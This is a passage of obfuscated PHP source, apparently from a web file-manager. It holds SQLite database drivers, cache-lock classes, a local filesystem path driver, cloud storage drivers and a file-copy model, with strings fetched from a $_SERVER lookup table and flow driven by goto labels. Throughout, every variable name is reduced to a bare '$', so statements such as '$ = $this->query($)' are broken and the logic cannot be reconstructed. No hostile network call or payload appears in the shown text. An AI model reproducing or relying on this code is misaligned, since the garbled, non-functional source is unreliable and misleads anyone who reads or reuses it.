$this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[29] . $ . $[30]); $ = array(); if ($) { foreach ($ as $ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) ($[$[36]] === $[12]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; $ = $this->query($[45] . $[46] . $[47]); $ = array(); foreach ($ as $ => $) { $[$] = current($); } return $; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $[4] . sqlite_error_string($); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { return sqlite_escape_string($); } public function parseLimit($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } } return $; } } class DbSqlite3Base extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!class_exists($[54])) { think_exception(think_lang($[14]) . $[55]); } if (!empty($)) { if (!isset($[$[16]])) { $[$[16]] = 438; } $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new SQLite3($[$[21]]); if (!$this->linkID[$]) { think_exception($this->linkID[$]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$]->busyTimeout(30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ = $this->getAll(); $this->numRows = count($); return $; } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = $this->_linkID->exec($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $; } $this->queryID->reset(); return $; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[29] . $ . $[30]); $ = array(); if ($) { foreach ($ as $ => $) { $[$[$[32]]] = array($[32] => $[$[32]], $[33] => $[$[33]], $[35] => (bool) ($[$[35]] === $[12]), $[37] => $[$[56]], $[39] => (bool) $[$[57]], $[42] => (bool) $[$[57]]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; $ = $this->query($[45] . $[46] . $[47]); $ = array(); foreach ($ as $ => $) { $[$] = current($); } return $; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($[58], $[59], $); } public function parseLimit($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } } return $; } } goto F; e: class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[]; $this->cachePath = $[$[87]]; $this->prefix = $[930]; $this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($) { $ =& $_SERVER[]; $ = str_replace(array($[931], $[100], $[76]), $[932], $); return $this->cachePath . $[933] . $ . $[934]; } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; $ = $this->getFile($); if (file_put_contents($, $this->prefix . $, LOCK_EX)) { @touch($, intval(time() + $)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($) { $ = $this->getFile($); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $ = @file_get_contents($); return substr($, strlen($this->prefix)); } public function remove($) { $ = $this->getFile($); return @unlink($); } public function deleteAll() { $ =& $_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $[934]) && strpos($, $[935])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $[934]) && strpos($, $[935]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $ = $GLOBALS[$[6]][$[436]]; self::$timeout = $[$[936]] ? $[$[936]] : 10; $ = _get($GLOBALS[$[6]], $[937]); $ = $[$[922]] ? $[$[922]] : $[233]; if ($ == $[21] && $ == $[13]) { $ = $[233]; } switch ($) { case $[925]: self::$handle = new CacheLockRedis(); break; case $[926]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[233]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[938], $[939]); } return self::$handle; } private static function key($) { return $_SERVER[][940] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ = '') { self::$errorMsg = $; } public static function lockGlobal($, $) { return self::lock($, $, !0); } public static function lock($, $ = false, $ = false) { $ =& $_SERVER[]; $ = self::init(); $ = self::key($); $ = $ ? $ : self::$timeout; $ = timeFloat(); if (_get($GLOBALS, $[941], !1)) { if (!$->lock($, 0.2)) { die; } return !0; } $ = $->lock($, $); $ = timeFloat(); if (!$) { $ = "lock error;key={$};time={$};" . self::$errorMsg . $[74] . get_caller_msg(); $ = LNG($[942]) . "({$}s)." . LNG($[943]); $ .= $[944]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ = $ . $[945] . self::$errorMsg; } write_log($[946] . sprintf($[947], timeFloat() - $) . $[948] . $ . $[949] . json_encode(error_get_last()), $[939]); show_json($, !1); } if (!$) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - $, 3); write_log($[950] . $ . $[951] . $, $[939]); } return $; } public static function lockGet($) { $ = self::key($); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($) { $ =& $_SERVER[]; $ = self::key($); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[952] . $, $[939]); } return; } public static function unlockRuntime() { $ =& $_SERVER[]; $ = self::init(); $ = !1; foreach (self::$lockItem as $ => $) { if (!$) { continue; } $->unlock($); if (!$) { $ = !0; write_log($[953] . $ . $[74] . get_caller_msg(), $[939]); continue; } write_log($[953] . $, $[939]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[954] . $ . $[955] . ACTION, $[939]); } } public static function fileLock($) { $ =& $_SERVER[]; if (!$GLOBALS[$[956]]) { $GLOBALS[$[956]] = array(); } $GLOBALS[$[956]][$] = !1; $ = fopen(DATA_PATH . $ . $[957], $[958]); if (!$) { return !1; } $GLOBALS[$[956]][$] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($); show_json($[959], !1); return !1; } public static function fileUnlock($) { $ =& $_SERVER[]; $ = $GLOBALS[$[956]][$]; if (!$) { return; } $GLOBALS[$[956]][$] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $ =& $_SERVER[]; if (!isset($GLOBALS[$[956]]) || !$GLOBALS[$[956]]) { return; } foreach ($GLOBALS[$[956]] as $ => $) { if (!$) { continue; } $GLOBALS[$[956]][$] = !1; flock($, LOCK_UN); fclose($); } $GLOBALS[$[956]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto d; f: define($_SERVER[][329], 3); define($_SERVER[][330], 1); define($_SERVER[][331], 0); goto e; d: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[436]]; self::$cachePath = $[$[233]][$[87]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($, $ = 0) { $ =& $_SERVER[]; $ = microtime(!0); $ = $ + $ + 0.0001; $ = rtrim(self::$cachePath, $[8]) . $[960] . md5($) . $[957]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $ = fopen($, $[961]); if (!$) { return !1; } $ = flock($, LOCK_EX | LOCK_NB); self::$caches[$] = array($[962] => $, $[233] => $); fwrite($, $); clearstatcache(); if ($ && $) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($); return !1; } public function lockGet($) { $ =& $_SERVER[]; $ = rtrim(self::$cachePath, $[8]) . $[960] . md5($) . $[957]; return file_exists($); } public function unlock($) { $ =& $_SERVER[]; $ = self::$caches[$]; if (!$) { return; } @flock($[$[962]], LOCK_UN); @fclose($[$[962]]); @unlink($[$[233]]); unset(self::$caches[$]); } } class CacheLockRedis { public function lock($, $ = 10) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$) { $ = $->setLock($, $, $); if ($) { return !0; } } else { if ($ < microtime(!0)) { $->set($, $, $ * 2); if ($->get($) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockMemcached { public function lock($, $ = 0) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$ || $ < microtime(!0)) { $ = $->handle->add($, $, $); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($) { return Cache::init()->remove($); } } goto a; d: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[][1427]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1457]], $config[$[1456]]); } public function iconvSystem($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1456]], $config[$[1457]]); } public function getPathOuter($) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $[1427]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1427]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ = $this->iconvSystem($); @touch($); if ($) { file_put_contents($, $); } @chmod($, $this->pathAuth); if (is_file($)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($, $this->pathAuth, !0); @chmod($, $this->pathAuth); if (is_dir($)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); return !1; } public function copyFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = copy_64($, $); @chmod($, $this->pathAuth); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); return !1; } public function moveFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = intval(@rename($, $)); if (!$) { if ($ = intval(@copy_64($, $))) { @unlink($); } } @chmod($, $this->pathAuth); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); return !1; } public function movePath($, $, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8] . ($ ? $ : get_path_this($)); if (file_exists($)) { return !1; } $ = intval(@rename($, $)); $ = file_exists($); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1468], !0); return !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (@unlink($)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); return !1; } return !0; } public function delFolder($) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } if (!($ = opendir($))) { return !1; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1379]) { continue; } $ = $ . $[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($); return rmdir($); } public function rename($, $) { $ =& $_SERVER[]; $ = $this->fileNameAuto($this->pathFather($), $); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = $this->pathFather($); $ = rtrim($, $[8]) . $[8] . $; $ = @rename($, $); $ = $this->iconvApp($); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1468], !0); return !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public function info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($, &$, $ = true) { $ =& $_SERVER[]; check_abort_echo(); $ = rtrim($, $[8]) . $[8]; if ($) { $ = $this->iconvSystem($); } if (!($ = @opendir($))) { return; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1379]) { continue; } $ = $ . $; if (is_file($) || is_link($)) { $[$[80]]++; $[$[79]] += filesize_64($); } else { if (is_dir($)) { $[$[81]]++; $this->infoChildren($, $, !1); } } } closedir($); } private function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = rtrim($, $[8]) . $[8]; $ = $this->iconvApp($this->pathThis($)); if ($) { return array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[78]); } $ = array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[78], $[234] => @filectime($), $[88] => @filemtime($), $[1472] => @fileatime($), $[1473] => is_readable($), $[1474] => is_writable($), $[1475] => get_mode($)); return $; } private function fileInfo($, $ = false) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathThis($)); if ($) { return array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[233], $[79] => $this->size($), $[169] => $this->ext($)); } $ = array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[233], $[234] => @filectime($), $[88] => @filemtime($), $[1472] => @fileatime($), $[79] => $this->size($), $[169] => $this->ext($), $[1473] => is_readable($), $[1474] => is_writable($), $[1475] => get_mode($)); return $; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; $ = array($[85] => array(), $[86] => array()); if (!($ = @opendir($))) { return $; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1379]) { continue; } $ = $ . $; if (is_file($)) { $[$[86]][] = $this->fileInfo($, $); } else { $[$[85]][] = $this->folderInfo($, $); } } closedir($); return $; } public function listAll($, &$ = array()) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return $; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1379]) { continue; } $ = $ . $; $ = is_dir($) && !is_link($) ? 1 : 0; $ = $ ? $ . $[8] : $; $[] = array($[87] => $this->getPathOuter($), $[78] => $, $[88] => intval(@filemtime($)), $[79] => $ ? 0 : intval($this->size($))); if ($) { $this->listAll($, $); } } closedir($); return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return !1; } $ = 0; $ = 0; $ = 0; while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1379]) { continue; } $ = $ . $; if ($) { $++; if (@is_file($)) { $++; } else { $++; } if ($ > 10000) { break; } continue; } if ($) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $[8])) { return !0; } } } closedir($); if ($) { return array($[242] => $, $[243] => $); } return !1; } public function hashSimple($) { $ =& $_SERVER[]; if (!$) { return md5($[12]); } $ = $this->iconvSystem($); $ = $this->size($); $ = 200; $ = 50; if ($ <= $ * $) { return $this->hashMd5($) . $; } $ = $[12]; $ = intval($ / $); $ = fopen($, $[1476]); if (!$) { return $; } for ($ = 0; $ < $; $++) { fseek_64($, $ * $); $ .= fread($, $); } fseek_64($, $ - $); $ .= fread($, $); fclose($); return md5($) . $; } public function getContent($) { $ = $this->iconvSystem($); return file_get_contents($); } public function setContent($, $ = '') { $ = $this->iconvSystem($); $ = @file_put_contents($, $, LOCK_EX); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); } clearstatcache(); @chmod($, $this->pathAuth); return $ === !1 ? !1 : !0; } public function fileSubstr($, $ = 0, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if ($ === !1) { $ = $this->size($); } if ($ <= 0) { return $[12]; } $ = fopen($, $[1476]); if (!$) { return !1; } fseek_64($, $); $ = fread($, $); fclose($); if (!$) { $this->writeLog(__FUNCTION__ . $[1468], !0); } return $; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { if ($) { return $this->moveFile($, $); } return $this->copyFile($, $); } public function setModifyTime($, $ = '') { @touch($, intval($)); } public function download($, $) { return $this->iconvSystem($); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][250]); } public function fileOutImage($, $ = 250) { $ =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $); } $ = array($[1477] => $[1478] . $ . $[1479]); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[219]) { $ = $[220] . substr($, 7); } header($[175] . $); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][250]); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[219]) { $ = $[220] . substr($, 7); } header($[175] . $); die; } public function uploadFormData($, $ = 3600) { return $this->uploadFormDataV2($, $); } } goto D; E: class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[635], $); $ = 1; $this->_lockEvent($, array($[636], $[637]), $); $this->_lockParent($, array($[637]), $); $this->_lockEvent($, array($[638], $[639]), $); $this->_lockCheckEnd($[635], $); } public function lockCopyEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($, array($[636], $[637]), $); $this->_lockParent($, array($[637]), $); $this->_lockEvent($, array($[638], $[639]), $); } public function lockWriteStart($, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[636], $); $ = 1; $this->_lockKey($[640] . $ . $[10] . $, $); $this->_lockEvent($, array($[635], $[637]), $); $this->_lockParent($, array($[635], $[637]), $); $this->_lockCheckEnd($[636], $); } public function lockWriteEnd($, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[640] . $ . $[10] . $, $); $this->_lockEvent($, array($[635], $[637]), $); $this->_lockParent($, array($[635], $[637]), $); } public function lockMoveStart($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[637], $); $ = 1; $this->_lockKey($[641] . $, $); $this->_lockEvent($, array($[635], $[636]), $); $this->_lockParent($, array($[635], $[637]), $); $this->_lockEvent($, array($[642], $[638], $[639]), $); $this->_lockCheckEnd($[637], $); } public function lockMoveEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[641] . $, $); $this->_lockEvent($, array($[635], $[636]), $); $this->_lockParent($, array($[635], $[637]), $); $this->_lockEvent($, array($[642], $[638], $[639]), $); } private function _lockCheck($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $ . $[10] . $; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($)) { return; } $ = LNG($[643]); CacheLock::setErrorMsg($[176] . htmlspecialchars($[$[32]]) . $[178] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); $ = array_reverse($this->parentLevelArray($[$[598]])); foreach ($ as $) { $ = $ . $[644] . $; if (CacheLock::lockGet($[645] . $)) { $ = $this->sourceInfo($); CacheLock::setErrorMsg($[176] . htmlspecialchars($[$[32]]) . $[178] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($, $) { $ =& $_SERVER[]; $ = $ . $[10] . $; CacheLock::setErrorMsg($[466]); if (!isset($this->_lockTimeStart[$])) { return; } $ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$[545] . $]); } $ = $this->sourceInfo($); if (!$) { show_json(LNG($[108]), !1); } } private function _lockParent($, $, $) { if (!$this->autoLockSet) { return; } $ = $this->sourceInfo($); if (!is_array($)) { return; } $ = array_reverse($this->parentLevelArray($[$_SERVER[][598]])); foreach ($ as $) { $this->_lockEvent($, $, $); } } private function _lockEvent($, $, $) { $ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($ as $) { $ = $ . $[10] . $; if ($ && CacheLock::lockGet($[645] . $)) { continue; } $this->_lockKey($, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $ = $_SERVER[][645] . md5($); if ($) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); $ = $[$[598]] . $[$[194]] . $[50]; $ = $[$[598]] . $[$[194]] . $[50]; $ = strpos($, $) === 0; return $; } private $targetIsDelete = 0; public function copy($, $, $ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if (!$ || !$ || $[$[497]] != $[91]) { return !1; } if ($this->isParentOf($, $)) { return !1; } $ = $ ? $ : $[$[32]]; $this->lockCopyStart($); $this->lockWriteStart($, $); $ = array($[646] => array(), $[647] => array(), $[648] => array()); $this->targetIsDelete = intval($[$[517]]); $ = $this->fileNameExistAuto($, $); $ = $this->_copy($, $, $, $, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($); $this->lockWriteEnd($, $); if ($[$[497]] == $[91] && $ == $) { $this->folderSizeResetChildren($); } Model($[649])->addAll($[$[647]], array(), !0); if ($ != $ || $[$[497]] == $[91]) { Model($[650])->eventCopy($); } $this->saveAll($[$[648]]); Model($[233])->linkAdd($[$[646]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copy($, $, $, &$, $, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $[$[497]] == $[91]; $ = $ ? $ : $[$[32]]; $ = $this->fileNameExistAuto($, $); if ($) { $this->_childrenAllMake($); if ($ && $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($, $, $, $); } $ = $; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $, $); $ = $this->_copyCreate($, $, $, $); } else { $ = $this->_childrenList($); foreach ($ as $) { $this->_copy($[$[194]], $, $, $, !1); } } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $, $); $ = $this->_copyCreate($, $, $, $); } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[555]], $[$[79]]); if ($) { $[$[646]][] = $[$[555]]; } } else { if ($ == REPEAT_SKIP) { } } } Hook::trigger($[651], array($[652], $, 0)); } return $; } private function _copyCreate($, $, $, &$) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $this->sourceInfoCache($); $ = $this->_makeItemData($, $, $); Hook::trigger($[653], $); Hook::trigger($[654], array($[655], $, 0)); $ = $this->add($); $ = array($[194] => $, $[32] => $); $this->_copyApplyMeta($, $); if ($[$[497]] != $[91]) { $[$[646]][] = $[$[555]]; return $; } $ = array(); $ = array(); $this->_childrenListAll($, $); $ = count($); if ($ == 0) { return $; } $ = $this->sourceInfo($); foreach ($ as $) { $ = $this->_makeItemData($, $, $[$[32]]); $[$[598]] = $[$[598]]; $[] = $; } $this->chunkEventSet($[656], array($[657], $, $)); $this->addAll($, array(), !1); $ = $this->where(array($[193] => $))->select(); $ = $this->_childrenMakeRelation($, $); $[$] = $; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[194]]; $ = $this->_childrenMatch($, $, $); $[] = array($[194], $, $[193], $[$[193]]); $[] = array($[194], $, $[598], $[$[598]]); $this->_copyApplyMeta($, $); if ($[$[497]] != $[91]) { $[$[646]][] = $[$[555]]; } } $this->chunkEventSet($[658], array($[659], $, $)); $this->saveAll($); $this->chunkEventSet($[660], array($[661], $, $)); $this->saveAll($); return $; } private function _childrenMakeRelation($, $) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[32]] . $[8] . $[$[598]]; $[$] = $[$[194]]; } foreach ($ as $) { $ = $[$[32]] . $[8] . $[$[598]]; $ = $[$]; $[$] = $[$[194]]; } return $; } private function _childrenMatch($, $, $) { $ =& $_SERVER[]; $ = $[$[598]]; $ = $this->parentLevelArray($[$[598]]); foreach ($ as $) { if (isset($[$])) { $ .= $[$] . $[662]; } } $ = rtrim($, $[50]) . $[50]; $ = $this->parentLevelArray($); $ = $[count($) - 1]; return array($[193] => $, $[598] => $); } private function _makeItemData($, $, $) { $ =& $_SERVER[]; $ = array($[663] => $[$[497]], $[506] => $, $[664] => $[$[498]] ? $[$[498]] : $[12], $[556] => $[$[555]] ? $[$[555]] : 0, $[634] => $[$[79]] ? $[$[79]] : 0, $[665] => intval($[$[191]]), $[666] => intval($[$[583]]), $[667] => intval(USER_ID), $[668] => intval(USER_ID), $[489] => intval($[$[194]]), $[669] => $[$[598]] . $[$[194]] . $[50], $[510] => $[$[88]] ? $[$[88]] : time(), $[516] => 0, $[670] => $[12]); return $; } private function _copyApplyMeta($, &$) { $ =& $_SERVER[]; $ = $[$[194]]; $ = $[$[32]]; if (!isset($[$[671]]) || !$[$[671]] || $[$[671]] == $[231]) { $[$[648]][] = array($[194], $, $[671], short_id($)); } if (Input::check($, $[672])) { $[$[647]][] = array($[194] => $, $[97] => $[550], $[462] => str_replace($[53], $[12], Pinyin::get($))); $[$[647]][] = array($[194] => $, $[97] => $[549], $[462] => Pinyin::get($, $[673])); } $[$[647]][] = array($[194] => $, $[97] => $[529], $[462] => KodSort::makeStr($)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $[674]; $ = array($[598] => array($[629], $[$[598]] . $ . 